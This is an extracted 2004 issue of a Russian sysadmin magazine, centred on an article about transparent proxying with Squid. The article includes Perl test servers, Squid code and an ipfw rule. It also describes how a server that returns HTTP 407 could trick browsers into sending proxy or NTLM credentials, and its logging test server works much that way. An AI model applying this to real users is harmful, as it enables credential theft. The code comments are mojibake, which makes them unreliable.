017 Системный Администратор 04 2004

98
№4(17) апрель 2004 подписной индекс 81655 Transparent proxy. Быть или не быть? Работа по расписанию во FreeBSD Свободные утилиты forensic NTP – атомные часы на каждом столе Создание кластера на базе Windows 2000/2003 Watchdog Блочные шифры Оптимизация сортировки в Perl Автоматизация веб-проектов через электронную почту Transparent proxy. Быть или не быть? Работа по расписанию во FreeBSD Свободные утилиты forensic NTP – атомные часы на каждом столе Создание кластера на базе Windows 2000/2003 Watchdog Блочные шифры Оптимизация сортировки в Perl Автоматизация веб-проектов через электронную почту №4(17) апрель 2004

Upload: dmitry-ushakov

Post on 11-Mar-2016

259 views

Category:

Documents


4 download

DESCRIPTION

Свободные утилиты forensic Работа по расписанию во FreeBSD Работа по расписанию во FreeBSD Блочные шифры Блочные шифры NTP – атомные часы на каждом столе NTP – атомные часы на каждом столе Автоматизация веб-проектов через электронную почту Оптимизация сортировки в Perl №4(17) апрель 2004

TRANSCRIPT

Page 1: 017 Системный Администратор 04 2004

№4(17) апрель 2004подписной индекс 81655

Transparent proxy. Быть или не быть?

Работа по расписанию во FreeBSD

Свободные утилиты forensic

NTP – атомные часы на каждом столе

Создание кластерана базе Windows 2000/2003

Watchdog

Блочные шифры

Оптимизация сортировки в Perl

Автоматизация веб-проектовчерез электронную почту

Transparent proxy. Быть или не быть?

Работа по расписанию во FreeBSD

Свободные утилиты forensic

NTP – атомные часы на каждом столе

Создание кластерана базе Windows 2000/2003

Watchdog

Блочные шифры

Оптимизация сортировки в Perl

Автоматизация веб-проектовчерез электронную почту

№4(

17)

апре

ль 2

004

Page 2: 017 Системный Администратор 04 2004

cover4(17)-vnut.p65 01.04.2004, 14:521

Page 3: 017 Системный Администратор 04 2004

1№4(17), апрель 2004

оглавление

АДМИНИСТРИРОВАНИЕ

Работа по расписанию во FreeBSD

Сергей Супрунов[email protected] 10

Transparent proxy. Быть или не быть?Статья посвящена проблемам прозрачного проксирова-ния на примере популярного сервера Squid.

Дмитрий Репин[email protected] 4

HARDWARE

ОБРАЗОВАНИЕ

В чем слабость твоя?Альтернативы парольной защите.

Максим Костышин[email protected] 82

Свободные утилиты forensicОбзор утилит, предназначенных для поиска доказательстввзлома, а также применяемых для сохранения случайноили умышленно стертых данных.

Сергей Яремчук[email protected] 50

ПРОГРАММИРОВАНИЕ

Сторожевой песТестирование устройства Watchdog, предназначенногодля мониторинга и восстановления работоспособностисерверов после сбоя через принудительный перезапуск.

Андрей Бешков[email protected] 88

НОВОСТИ ПРОФСОЮЗА

Профсоюз IT-специалистов –первые шаги

2

NTP – атомные часы на каждом столеРабота с протоколом NTP (Network Time Protoсol), пред-назначенным для синхронизации времени в сети.

Михаил Платов[email protected] 16

Создание кластера на базеWindows 2000/2003.Шаг за шагомРуководство по созданию двухузлового кластера серве-ров с разделяемым хранилищем данных.

Геннадий Дмитриев[email protected] 22

БЕЗОПАСНОСТЬ

Ошибки переполнения буфераизвне и изнутри как обобщенный опытреальных атакЧасть 2

Крис Касперски[email protected] 30

Блочные шифрыПерспективы направления развития современной крип-тографии. Блок-схема и программная реализация симмет-ричного алгоритма шифрования TEA.

Станислав Гошко[email protected] 64

Оптимизация сортировки в Perl

Алексей Мичурин[email protected] 70

Автоматизация веб-проектов черезэлектронную почту

Игорь Тетерин[email protected] 76

WEB

Межсетевые экраны D-Link

Михаил Гришунин[email protected] 48

Page 4: 017 Системный Администратор 04 2004

2

новости профсоюза

Организованный в декабре 2003 года профсоюз IT-спе-циалистов, который объединил системных и сетевых ад-министраторов, IT-менеджеров, всех, кто работает в сфе-ре информационных технологий, в данный момент актив-но развивается.

Что такое профсоюз? Зачем он нужен? Что мы от негополучим? Эти и другие вопросы очень часто поднималисьна страницах различных печатных изданий, обсуждалисьв личной переписке и разговорах на форуме: http://www.sysadmins.ru. Представитель Московской ППО Алек-сей Костромин так рассказал о задачах, которые ставитперед собой профсоюз:

У работников IT-индустрии много проблем (о них мно-го раз писали на форуме: http://www.sysadmins.ru), решитьих все сразу невозможно. Мы выделили наиболее акту-альные направления деятельности профсоюза на ближай-шие два года:! Поднять социальный статус IT-профессий в широком

смысле этого слова.! Организовать собственный учебный центр с целью со-

вершенствования квалификации членов профсоюза.! Активно помогать в трудоустройстве, ориентации по

карьере и переквалификации при необходимости.! Оказывать максимально возможную юридическую под-

держку IT-специалистам.! Принимать активное участие в государственных соци-

альных программах с целью получения льгот для пред-ставителей IT-профессий.

! Работать над программой социального страхованияработников IT.

Сейчас уже заключены первые договора: с Межрегио-нальным Союзом Страховщиков – по программе социаль-ного страхования членов профсоюза; с юридической ком-панией «ИТЛА» – по программе юридической поддержкичленов профсоюза, регистрируются первичные профсо-юзные организации (ППО). Ведется работа по всем на-правлениям.

Центральным аппаратом профсоюза (http://www.itcu.ru)успешно проводится работа по привлечению крупных ком-паний к сотрудничеству по реализации профсоюзных про-грамм. Совместно с рядом учебных центров и ВУЗов под-

готовлена программа повышения квалификации членовпрофсоюза. Юристы профсоюза уже не раз помогали на-шим коллегам урегулировать различные спорные вопро-сы.

Была проведена госрегистрация профсоюза (не обо-шлось без некоторых казусов и недоразумений). Сейчасотлаживается работа управленческого аппарата профсо-юза, планируется инвестирование профсоюзных про-грамм.

Несколько слов о работе первичных профсоюзныхорганизаций: Московская ППО (http://msk.itcu.ru) работа-ет над созданием портала www.sysjob.ru. Этот проект пред-назначен для поиска работы IT-специалистами, профес-сиональных консультаций по вопросам Трудового законо-дательства, социальной защиты и т. п. Уже есть догово-ренности с несколькими кадровыми агентствами города.Портал начнет свою работу в июле 2004 года.

ППО Санкт-Петербурга (http://spb.itcu.ru) ведёт работус Санкт-Петербургским Государственным Политехничес-ким Университетом, готовит проведение первых учебныхсеминаров в Петербурге, ведёт работу с Петербургскимикадровыми агентствами в рамках развития программытрудоустройства членов профсоюза.

Готовятся к регистрации ППО в Саратове, Сыктывка-ре, Оренбурге. ППО может быть организована в любомгороде. Количество первичек в городе или регионе не ог-раничено. При увеличении количества небольших ППО вгороде Правление может предложить им объединиться,создав территориальную (региональную) первичную орга-низацию. ППО регистрируется в качестве юридическоголица после рассмотрения ее документов Правлениемпрофсоюза (с перечнем документов можно ознакомитьсяна сайте: http://www.itcu.ru). Достаточно иметь трех чело-век в одном городе, и вы уже имеете право создать ППО,которая может заниматься своими проектами, не проти-воречащими целям Профсоюза в целом. Вы сможете зак-лючать договора с компаниями в вашем регионе для наи-лучшей реализации программ профсоюза.

Чтобы стать участником профсоюзного движения, до-статочно ознакомиться с материалами: http://www.itcu.ru,заполнить форму заявления и отправить ее по адресу:[email protected]. Далее с вами свяжутся.

ПРОФСОЮЗ IT-СПЕЦИАЛИСТОВПЕРВЫЕ ШАГИ

Page 5: 017 Системный Администратор 04 2004
Page 6: 017 Системный Администратор 04 2004

4

администрирование

Весь текст этой статьи является исключительно личныммнением автора и не претендует на сборник аксиом. Всеописанные в статье исследования и выводы также следу-ет рассматривать через призму субьективности автора,ибо, как говорили древние мудрецы, «Errare humanum est».Также автор не несёт ответственности за любые действия(и их последствия), произведённые читателем после про-чтения этой статьи.

Лирическое отступлениеРабота системного администратора неразрывно связанас программированием. Только наличие знаний в областиразработки программ может помочь при решении проблемс программным обеспечением, ибо анализ является час-тью решения. Специалист обязан чётко представлять себевнутренние механизмы работы системы, а это приходиттолько с опытом в написании и, что более важно, моди-фикации ПО.

Системы семейства UNIX-подобных являются величай-шим источником знаний для самообразования и полиго-ном для экспериментов. Открытость исходного кода сис-темы и прикладного ПО, низкоуровневый доступ к на-стройкам и их гибкость... – всё это позволяет глубже вник-нуть в принципы работы компьютерных систем и сетей.Кроме того, это позволяет создавать всевозможные не-стандартные конфигурации привычного программногообеспечения. Для чего это нужно? В первую очередь длятого, чтобы расширить возможности системы. Вторымаргументом в пользу подобных «хирургических вмеша-

ДМИТРИЙ РЕПИН

TRANSPARENT PROXY.БЫТЬ ИЛИ НЕ БЫТЬ?

тельств» в ПО является наличие различных ошибок приразработке программного обеспечения.

Данная статья посвящена проблемам прозрачного про-ксирования на примере популярного сервера Squid. В ка-честве ОС использовалась стабильная версия FreeBSD 4.7.

Общие принципы прозрачногопроксированияПри работе прокси-сервера в прозрачном режиме (Trans-parent mode) для веб-доступа пользователей в Интернетне требуется настраивать браузер для взаимодействия спрокси на каждом рабочем месте, а сами пользователимогут вообще не знать о существовании прокси-сервера.В таком режиме администраторы и техники получаютменьше вопросов и жалоб от пользователей по настрой-ке пользовательского ПО.

Технически этот режим реализуется следующим обра-зом. С помощью firewall все соединения на определённыйпорт (в случае HTTP – порт 80) внешних серверов пере-направляются на локальный порт прокси-сервера (обыч-но – 3128).

По стандарту протокола HTTP 1.1 (RFC2616) каждыйзапрос клиента должен содержать заголовок «Host», в ко-тором указывается адрес сервера-получателя запроса.Именно с помощью этого заголовка прокси-сервер опре-деляет адресата и соединяется с ним. Что же касаетсядругих популярных протоколов (FTP, HTTPS, и т. д.), тотакой возможности в них просто не предусмотрено. Наэтой «весёлой ноте» можно начать описание проблем.

Page 7: 017 Системный Администратор 04 2004

5№4(17), апрель 2004

администрирование

Первый запрос браузера:

АвторизацияАвторизация на прокси-сервере позволяет производитьучёт работы и разграничение доступа в Интернет пользо-вателей локальной сети, используя их имена (логины)независимо от того, за каким компьютером находитсяпользователь и какой адрес имеет данный компьютер. Впротивном случае администратор имеет возможность кон-тролировать работу сотрудников только на основе IP-ад-ресов, что позволяет пользователям обходить ограниче-ния. Таким образом, авторизация на прокси-сервере яв-ляется необходимым элементом инфраструктуры локаль-ной сети. А теперь о грустном: авторизация на «прозрач-ном» прокси-сервере практически невозможна. Однакоподобное утверждение явно противоречит стандартам.

Обратимся к первоисточнику – описанию протоколаHTTP – документу RFC2616. По стандарту, HTTP-клиентпри получении статуса-ответа сервера с кодом 407 (ProxyAuthentication Required) обязан отправить данные автори-зации серверу. Для иллюстрации работы и для тестов ав-тором был написан небольшой http-сервер на языке Perl,который выдавал нужные статусы и заголовки, а такжеписал лог запросов и ответов.

В результате работы сервера получение данных кли-ентом будет происходить в 4 этапа:1. Клиент запрашивает документ, а сервер сообщает о

необходимости Proxy-авторизации.2. Клиент снова запрашивает документ, но уже с данны-

ми авторизации на прокси.3. Для проверки работоспособности системы сервер про-

сит авторизоваться ещё и для Web – модель ситуации,когда пользователь обращается к защищённому доку-менту на удалённом сервере через прокси с авториза-цией.

4. Клиент послушно авторизуется «вдвойне» – на прокси-сервере и веб-сервере.

В качестве тестовых клиентов использовались бра-узеры Mozilla FireBird 0.6.1, Microsoft Internet Explorer6.0.2800.1106 и Opera 6.05.

Код тестового сервера:

#!/usr/bin/perl -wuse strict;use Socket;# Ñîçäà¸òñÿ ñîêåò, ïðèâÿçûâàåòñÿ êî âñåì àäðåñàì (äëÿ óäîáñòâà)# íà ïîðò 8080 è âêëþ÷àåòñÿ ïðîñëóøèâàíèå.socket(SERVER,PF_INET,SOCK_STREAM,getprotobyname('tcp'));setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,1);bind(SERVER,sockaddr_in(8080,INADDR_ANY));listen(SERVER,SOMAXCONN);$|=1;my $CR="\015\012";# Ïðè¸ì âõîäÿùèõ ñîåäèíåíèéwhile (1){

# Ïðè¸ì êëèåíòà, îïðåäåëåíèå åãî àäðåñ/ïîðò/õîñò# è âûâîä íà ýêðàí (äëÿ îòëàäêè)my $paddr = accept(CLIENT,SERVER);my ($ip,$port,$name) = remote($paddr);print "Connection from $ip:$port ($name)\n";# ×òåíèå âñåãî çàïðîñà îò êëèåíòà â îäíó ïåðåìåííóþmy $DATA;while(<CLIENT>){

chomp;$_=~s/\r//g;

last unless $_;$DATA.=$_."\n";

}# Çàïèñü çàïðîñà â ëîã-ôàéëLog($DATA);# Òåïåðü ïðîñòàÿ ïðîâåðêà íà íàëè÷èå â çàïðîñå íóæíûõ# çàãîëîâêîâ, îòïðàâêà ñîîòâåòñòâóþùåãî îòâåòà êëèåíòó# è çàïèñü îòâåòîâ â ëîã-ôàéë.if($DATA !~/Proxy\-Authorization/){

Log(Response407());print CLIENT Response407();

}elsif($DATA !~/\012Authorization/){Log(Response401());print CLIENT Response401();

}else{Log(Response200());print CLIENT Response200();

}print "Connection closed.\n";close CLIENT;# Çàêðûòèå òåêóùåãî ñîåäèíåíèÿ

}# Çàêðûòèå ñîêåòà ñåðâåðàclose SERVER;

# Ñîñòàâëåíèå îòâåòîâ ñåðâåðà äëÿ óäîáñòâà âûíåñåíî# â îòäåëüíûå ôóíêöèèsub Response401{

return "HTTP/1.1 401 Unauthorized$CR"."Server: squid/2.5.STABLE3$CR"."Mime-Version: 1.0$CR"."Content-Type: text/html$CR"."Content-Length: 20$CR"."Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR"."WWW-Authenticate: Basic realm=\" --== Protected ↵↵↵↵↵

web-Area ==--\"$CR"."Connection: close$CR$CR <h1>401 Unauth</h1>";

}sub Response407{

return "HTTP/1.1 407 Proxy Authentication Required$CR"."Server: squid/2.5.STABLE3$CR"."Mime-Version: 1.0$CR"."Content-Type: text/html$CR"."Content-Length: 20$CR"."Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR"."Proxy-Authenticate: NTLM$CR"."Proxy-Authenticate: Basic realm=\" ↵↵↵↵↵

<-- 407 Protected Proxy-->\"$CR"."Connection: close$CR$CR <h1>407 Unauth</h1>";

}sub Response200{

return "HTTP/1.1 200 OK$CR"."Server: squid/2.5.STABLE3$CR"."Mime-Version: 1.0$CR"."Content-Type: text/html$CR"."Content-Length: 19$CR"."Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR"."Connection: close$CR$CR <h1>200 OK!!!</h1>";

}

# Ôóíêöèÿ îïðåäåëåíèÿ àäðåñà, ïîðòà è èìåíè õîñòà êëèåíòàsub remote{

my $rem = shift;return undef unless $rem;my ($port,$ip) = sockaddr_in($rem);return (inet_ntoa($ip),$port,gethostbyaddr($ip,AF_INET));

}# Ôóíêöèÿ äëÿ çàïèñè â ôàéë ïðîòîêîëàsub Log{

open(F,">>connection.log");print F scalar(localtime)."\n";for(split/\n/,$_[0]){

print F "\t$_\n";}print F "\n//====//\n\n";close(F);

}

Page 8: 017 Системный Администратор 04 2004

6

администрирование

Сервер отвечает:

Теперь клиент авторизуется:

Для проверки последующей авторизации на удалён-ном веб-сервере прокси-сервер просит авторизоваться:

Клиент отвечает правильно – с авторизацией и на про-кси- и на веб-сервере:

Сервер сообщает, что всё в порядке:

Данный протокол на примере Mozilla FireBird 0.6.1 иллю-стрирует вполне «законную» возможность использования ав-торизации на прозрачном прокси-сервере. Возникает резон-ный вопрос: почему в FAQ сервера Squid наличествует фра-за «...proxy_auth can’t be used in a transparent proxy...»?

Для начала обратимся к исходным кодам Squid. Связьмежду авторизацией и режимом работы сервера просле-живается в двух файлах – acl.c и client_side.c. При анали-зе кода становится ясно, что возможность использованияавторизации в данном случае просто игнорируется!

Участок исходного кода acl.c:

Участок исходного кода client_side.c:

Подобная странность, обнаруженная в ходе исследо-вания, ещё больше разогрела интерес автора к обсужда-емому вопросу.

В связи с этим, естественно, исходный код серверапретерпел изменения. Результатом явилась модифициро-ванная версия сервера Squid с совместной работой авто-ризации и прозрачного режима. Но...

В ходе дальнейшего исследования выяснилось, что по-пулярнейший браузер Microsoft Internet Explorer неспосо-бен следовать стандартам! Если в настройках этого кли-ента явно не указано использование прокси-сервера, тоMSIE просто игнорирует обработку http-статуса 407 и вы-даёт ошибку. Мало того, старые версии под Windows 9Xвообще «сыпятся» с критической ошибкой в библиотекеWININET.DLL при получении вышеописанного статус-кода.

В связи с этим становится ясно, что использованиеавторизации при прозрачном проксировании невозмож-но. Ведь подавляющее большинство пользователей ра-ботают именно с Microsoft Internet Explorer. Если в вашейсети используются браузеры только на основе Mozilla, выможете модифицировать ваш сервер Squid-2.5.STABLE3с помощью патчей, которые находятся по адресу http://www.comprice.ru/cmapuk/squid_patch.tgz

В дополнение к вышесказанному стоит добавить, чтовсе нынешние браузеры, так или иначе, не полностью со-блюдают стандарты. Например, HTTP-статус 305 (UseProxy), сообщающий клиенту о необходимости использо-вать указанный в ответе прокси-сервер, игнорируется какбраузером Microsoft Internet Explorer, так и Mozilla FireBirdи Opera. Кроме того, браузер Opera (проверено на версии6.05) не поддерживает NTLM-авторизацию, хотя статус-код 407 обрабатывает правильно и легко авторизуется потипу Basic.

Итак, в действительном существовании проблемы ипрактической невозможности её решения теперь сомне-ний нет. Однако остаётся неизвестной «политическая»подоплёка несоблюдения стандартов. После некоторыхразмышлений на эту тему автор статьи вывел гипотезу опричине «нестандартности» MSIE как HTTP-клиента.

Если абсолютно стандартный браузер при полученииответа сервера с кодом 407 отправляет данные для авто-ризации, то эта информация может быть получена любымтретьим лицом. На примере это выглядит следующим об-разом. Пользователь-злоумышленник настраивает веб-сервер (внешний, либо в локальной сети) на ответ выше-

http_hdr_type headertype;if (NULL == r) {return -1;} else if (!r->flags.accelerated) {/* Proxy authorization on proxy requests */headertype = HDR_PROXY_AUTHORIZATION;} else if (r->flags.internal) {/* WWW authorization on accelerated internal requests */headertype = HDR_AUTHORIZATION;} else {

#if AUTH_ON_ACCELERATION/* WWW authorization on accelerated requests */headertype = HDR_AUTHORIZATION;

#elsedebug(28, 1) ("aclAuthenticated: authentication not ↵↵↵↵↵

applicable on accelerated requests.\n");return -1;

#endif

if (answer == ACCESS_REQ_PROXY_AUTH || ↵↵↵↵↵aclIsProxyAuth(AclMatchedName)) {

if (!http->flags.accel) {/* Proxy authorisation needed */status = HTTP_PROXY_AUTHENTICATION_REQUIRED;

} else {/* WWW authorisation needed */status = HTTP_UNAUTHORIZED;

} if (page_id == ERR_NONE)

page_id = ERR_CACHE_ACCESS_DENIED;} else { status = HTTP_FORBIDDEN; if (page_id == ERR_NONE)

page_id = ERR_ACCESS_DENIED;}

Page 9: 017 Системный Администратор 04 2004

7№4(17), апрель 2004

администрирование

означенным кодом при любых запросах (это может бытьэлементарный «самописный» сервер в 10-15 строк). Пос-ле этого путём простейших приёмов социальной инжене-рии пользователь-жертва заманивается в ловушку с це-лью получить всего лишь один HTTP-сеанс между жерт-вой и сервером злоумышленника. В результате «хакер»получает данные авторизации пользователя (например,данные NTLM-авторизации), что может повлечь за собойнесанкционированный доступ к информации со всеми вы-текающими последствиями.

Принимая во внимание эту гипотезу, можно сделатьвывод, что игнорирование таких нужных и в то же времяопасных стандартных возможностей имеет под собой до-вольно веские основания.

Множество протоколовКак правило, в задачу прокси-сервера входит обслужива-ние клиентов не только по протоколу HTTP, но и FTP иHTTPS. Кроме того, часто возникает необходимость HTTP-соединения по альтернативным портам (8000, 8080, и т. п.).С этим связана вторая и, пожалуй, самая сложная про-блема прозрачного проксирования – прокси-сервер Squidв режиме прозрачности может обслуживать соединениятолько по одному протоколу – HTTP.

В связи с тем, что решение данной проблемы являет-ся отнюдь не тривиальным, эта часть статьи будет посвя-щена рассмотрению причин данной проблемы и толькотеоретических способов её решения.

Альтернативные HTTP-портыКак уже было сказано в начале статьи, спецификацияпротокола HTTP 1.1 предписывает клиенту включать взапрос обязательный заголовок «Host». Этот заголовоксодержит имя сервера, которому адресован запрос. Та-ким образом, для получения данных по адресу http://www.server.info при прямом соединении минимальнымHTTP-запросом будет следующий:

Если клиентское ПО адаптировано для работы черезпрокси-сервер и настроено соответственно, то запрос бу-дет выглядеть так:

В случае если удалённый сервер обслуживает клиен-тов по альтернативному порту, запрос через прокси будетсодержать информацию и об этом:

При прямом соединении с удалённым сервером зап-рос клиента не меняется в зависимости от порта и оста-ётся таким же, как в первом примере. В результате приработе в прозрачном режиме прокси-сервер не может оп-ределить реальный порт удалённого сервера, к которомуобратился клиент, так как клиент вообще не подозреваето существовании «посредника».

Современные версии прокси-сервера Squid поддержи-вают возможность определения хоста и порта с помощьюбиблиотек пакетных фильтров, таких как ipfilter в BSD-си-стемах или netfilter в Linux. Для работы с этими библиоте-ками при компиляции сервера необходимо указать соот-ветствующие опции (--enable-ipf-transparent). После сбор-ки сервера, ему будет доступна подробная информация осоединении.

Участок кода client_side.c:

Как может показаться, при таком подходе встаёт не-обходимость использовать на firewall фильтрацию на ос-нове ipfilter/ipnat и отказаться от ipfw. Однако для работыSquid достаточно просто включить поддержку данного па-кетного фильтра, а перенаправлять пакеты можно по-пре-жнему с помощью ipfw.

Проксирование FTP и HTTPSПри обычном проксировании запросы клиента прокси-сер-веру на получение файла с удалённого сервера по прото-колу FTP выглядят так же, как и HTTP-запросы:

Клиентом, реализующим этот протокол FTP, в данномслучае является сам прокси-сервер. Получив файл, про-кси-сервер отвечает клиенту обычным HTTP-ответом ивозвращает данные.

Также клиент может «потребовать» от прокси-серверапрямого соединения с удалённым хостом для обмена дан-ными. Тогда запрос будет выглядеть так:

Благодаря такому виду запросов посредник чётко по-нимает поставленную перед ним задачу и выполняет её всоответствии с рекомендациями системного администра-тора в виде директив acl и http_access в конфигурацион-ном файле.

Общение клиента с удалённым сервером по SSL-за-щищённым протоколам всегда происходит по методуCONNECT:

При прямом соединении клиента с удалённым хостомбез посредников (а при прозрачном проксировании кли-ент «считает» именно так) он сам реализует протоколыприкладного уровня, такие как FTP и HTTP. В результа-те прокси-сервер не может определить поставленнуюперед ним задачу. При перенаправлении с помощьюfirewall всех соединений к портам 21 и 443 на порт про-кси (3128) последний получает в первом случае строку«USER username», а во втором вообще набор несвязныхсимволов.

GET / HTTP/1.1Host: www.server.info

GET http://www.server.info HTTP/1.1Host: www.server.info

GET http://www.server.info:8080 HTTP/1.1Host: www.server.info

#if IPF_TRANSPARENT natLookup.nl_inport = http->conn->me.sin_port; natLookup.nl_outport = http->conn->peer.sin_port; natLookup.nl_inip = http->conn->me.sin_addr; natLookup.nl_outip = http->conn->peer.sin_addr;

GET ftp://ftp.server.info HTTP/1.1Host: ftp.server.info

CONNECT ftp.server.info:21 HTTP/1.1Host: ftp.server.info

CONNECT secure.server.info:443 HTTP/1.1Host: secure.server.info

Page 10: 017 Системный Администратор 04 2004

8

администрирование

Решение данной проблемы требует «хирургического»вмешательства в исходный код прокси-сервера Squid.Задача модификации сервера состоит в том, чтобы «на-учить» сервер становиться почти таким же посредником,как при методе CONNECT, в зависимости от номера пор-та запрашиваемого удалённого сервера.

Для демонстрации этой идеи напишем ещё один про-стейший сервер:

Добавляем в firewall правило перенаправления всехзапросов к 21-му порту на локальный порт 30021 и запус-каем тестовый сервер.

Теперь открываем браузер и пробуем зайти на ftp://ftp.freebsd.org/ (естественно, без прокси-настроек). Резуль-тат простейшего теста показывает, что прозрачное про-ксирование по протоколам, отличным от HTTP, вполне воз-можно. Теперь поставим уже конкретную задачу по моди-фикации прокси-сервера Squid.1. Добавить в возможности конфигурирования сервера

новую директиву (назовём её direct_port) следующегоформата:

где PORT – конечный порт удалённого сервера;PROTOCOL – протокол, по которому прокси-серверуследует выступать посредником. Пример:

2. Добавить к уже имеющейся «услуге» посредничествапри методе CONNECT её модифицированную версию,в которой исключены вмешательства прокси-серверав общение клиента и удалённого сервера лишними за-головками.

3. Установить контроль над новым типом соединения спомощью директив ACL.

Решение этой задачи для исследователя, никогда неучаствовавшего в разработке прокси-сервера Squid, явля-ется весьма трудоёмким процессом. Посему у автора дан-ной статьи на данный момент нет готового решения в видепатчей и т. п. Однако, возможно, это исследование привле-чёт внимание энтузиастов (или самих разработчиков Squid)к вышеописанной проблеме и решение появится.

ВыводИсследование показало, что настоящее прозрачное прокси-рование без ущерба для пользователей и администраторов –это реальность. Единственной серьёзной проблемой на путик внедрению технологии прозрачного проксирования оста-ётся несоответствие стандартам браузера Microsoft InternetExplorer. Вполне возможно, что в будущем этот недостатоку MSIE исчезнет, если обратить внимание специалистов изMicrosoft на данную проблему. В настоящий момент, а точ-нее, после того, как прокси-сервер Squid будет модифици-рован, любая организация, в чьи корпоративные стандар-ты не входит использование браузера MSIE, смогут полно-ценно пользоваться прозрачным проксированием.

Ещё одна проблема, оставшаяся в тени, заключается втом, что прокси-сервер может определить адрес удалённо-го сервера, но не его имя. В связи с этим может возникнутьпроблема с доступом по FTP и HTTPS на сервера с вирту-альными доменами, которые часто используются на бес-платных хостингах (и не только).

В заключение хотелось бы сказать хоть одну фразу отпервого лица. Я надеюсь, что проделанная работа не оста-вит равнодушной общественность свободных разработчи-ков к несовершенствам прикладного программного обес-печения и подтолкнёт любителей и профессионалов к но-вым исследованиям.

#!/usr/bin/perl -wuse strict;use Socket;# Ëîêàëüíûé àäðåñ ìèíè-ïðîêñèmy $maddr = sockaddr_in(30021,inet_aton('localhost'));# Äîïóñòèì ìû óæå çíàåì àäðåñ óäàë¸ííîãî FTPmy $paddr = sockaddr_in(21,inet_aton('ftp.freebsd.org'));

# Îòêðûâàåì ñîêåò äëÿ ïðîêñè-ñåðâåðà è íà÷èíàåì ïðîñëóøèâàòüsocket(SOCK,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die $!;setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die $!;bind(SOCK,$maddr) or die $!;listen(SOCK,SOMAXCONN);# Ïåðåõâàòûâàåì ñèãíàë PIPE# Ýòîò ñèãíàë ïîÿâëÿåòñÿ ïðè ïîïûòêå ðàáîòû ñ çàêðûòûì ïîòîêîì$SIG{PIPE}=sub{

close(SERVER);close(CLIENT);close(SOCK);exit;

}$|=1; # îòêëþ÷àåì áóôåðèçàöèþ ïîòîêà STDOUT# Ïðèíèìàåì ïîäêëþ÷åíèÿwhile (accept(CLIENT,SOCK)){

print "Connection detect.\n";# Ñîåäèíÿåìñÿ ñ óäàë¸ííûì FTPsocket(SERVER,PF_INET,SOCK_STREAM, ↵↵↵↵↵

getprotobyname('tcp')) or die $!;connect(SERVER,$paddr);# Íà÷èíàåì îáìåí èíôîðìàöèåéwhile(1){

my $server='';# Îòêëþ÷àåì áóôåðèçàöèþ ïîòîêîâ êëèåíòà# è ñåðâåðàselect(CLIENT); $|=1;select(SERVER); $|=1;select(STDOUT);# Ïîêà ñåðâåð íå çàâåðøèë ïåðåäà÷ó# èäåíòèôèêàòîðîì ñòàòóñà ïðèíèìàåì âñå# äàííûå, îòäà¸ì êëèåíòó, à çàîäíî âûâîäèì# íà ýêðàíwhile($server !~/^\d{3}\s/){

$server=<SERVER>;print CLIENT $server;print $server;

}# Ïðèíèìàåì êîìàíäó îò êëèåíòà è ïåðåäà¸ì# ñåðâåðó. Òàêæå âûâîäèì íà ýêðàímy $client=<CLIENT>;print SERVER $client;print $client;

}close SERVER;close CLIENT;

}close SOCK;

ipfw add 30002 fwd 127.0.0.1,30021 tcp from 192.168.0.0/24 ↵↵↵↵↵to any 21 via xl0

direct_port PORT PROTOCOL

direct_port 21 FTP, direct_port 443 SSL

Page 11: 017 Системный Администратор 04 2004

Впервые организованная в 1989 году, выставка НеделяИнформационных Технологий «IT Week Russia», изве-стная в прошлом как Comtek, за пятнадцать лет своегосуществования пережила и взлеты и падения. В преды-дущие годы в Неделю Информационных Технологий вхо-дила выставка Сomtek, которая состояла из несколькихнаправлений, и конференция E-Business. Развитие выс-тавки в течение последних лет привело к необходимос-ти выделить отдельные разделы в самостоятельные вы-ставки. С этого года в Неделю Информационных Техно-логий будут входить пять самостоятельных выставок идве конференции. Этот шаг позволил расширить масш-таб выставки, объединяющей все аспекты компьютер-ного бизнеса, что, в свою очередь, дает возможностьпривлечь к участию в выставке большее число компа-ний, занятых во всех сферах индустрии информацион-ных технологий.

Давид Патеишвили, директор выставки, сказал: «Вэтом году мы расширили темы, представленные на экс-позиции, которые теперь охватывают все области компь-ютерной индустрии. Это дает превосходную возможностьи участникам, и посетителям выставки принять участие иознакомиться сразу с пятью выставками и двумя конфе-ренциями, проходящими в одно время и в одном месте.Это также позволит нам улучшить маркетинговую и рек-ламную кампании для каждой из выставок и конферен-ций, проходящих в рамках Недели Информационных Тех-нологий, с учетом целевой аудитории, специфичной длякаждой из них. Хочется добавить, что некоторые выстав-ки, которые будут проходить в рамках Недели Информа-ционных технологий, не имеют аналогов в России, явля-ясь тем самым уникальными».

В рамках Недели Информационных Технологий прой-дут следующие выставки и конференции:1. Personal Computing Expo – общая, неспециализиро-

ванная выставка, ориентированная на конечныхпользователей. В ней представлены производители идистрибьюторы персональных компьютеров и перифе-рии, компьютерных игр, дистрибьюторы сотовой тех-ники и портативных компьютеров, интернет- и контент-провайдеры и многие другие.

2. Hardware & Peripherals Expo – специализированнаявыставка, на которой представлены: компьютеры, мо-ниторы, периферийные устройства, комплектующие,накопители, коммуникационное оборудование и услу-ги, т.е. весь спектр hardware, ориентированного на ве-дение бизнеса.

3. Международная конференция eLearning Russia (Инфор-мационные технологии в образовании), на которой бу-дут освещены последние достижения образовательныхтехнологий в школах, вузах, а также рассмотрены воп-росы дистанционного и бизнес-образования.

4. Software Expo – специализированная выставка, ори-ентированная на программные продукты для систембухгалтерского и складского учета, комплексного ПОуправления предприятием, систем управления доку-ментооборотом, систем распознавания документов,разработку ПО, защиту информации. В рамках этойвыставки будет подготовлен цикл тематических семи-наров, посвященных актуальным вопросам в областиразработки экономических программ и систем управ-ления бизнесом.

5. Специализированная выставка CAD/CAM/CAE пред-ставляет системы автоматизированного проектиро-вания. Для большинства российских производителейнеобходимость использования САПР для оптимиза-ции работы предприятия стала очевидной. Особенноярко это проявляется в таких отраслях, как авиастро-ение, автомобилестроение, тяжелое машиностроение,архитектура, строительство, нефтегазовая промыш-ленность.

6. eLearn Expo – специализированная выставка, на ко-торой будут демонстрироваться новейшие продуктыи технологии в сфере электронного обучения, пред-назначенные для коллективного и индивидуальногопользования. Дистанционное обучение через сетиInternet и Intranet, получившее широкое распростра-нение в развитых странах, становится все более ак-туальным и для России.

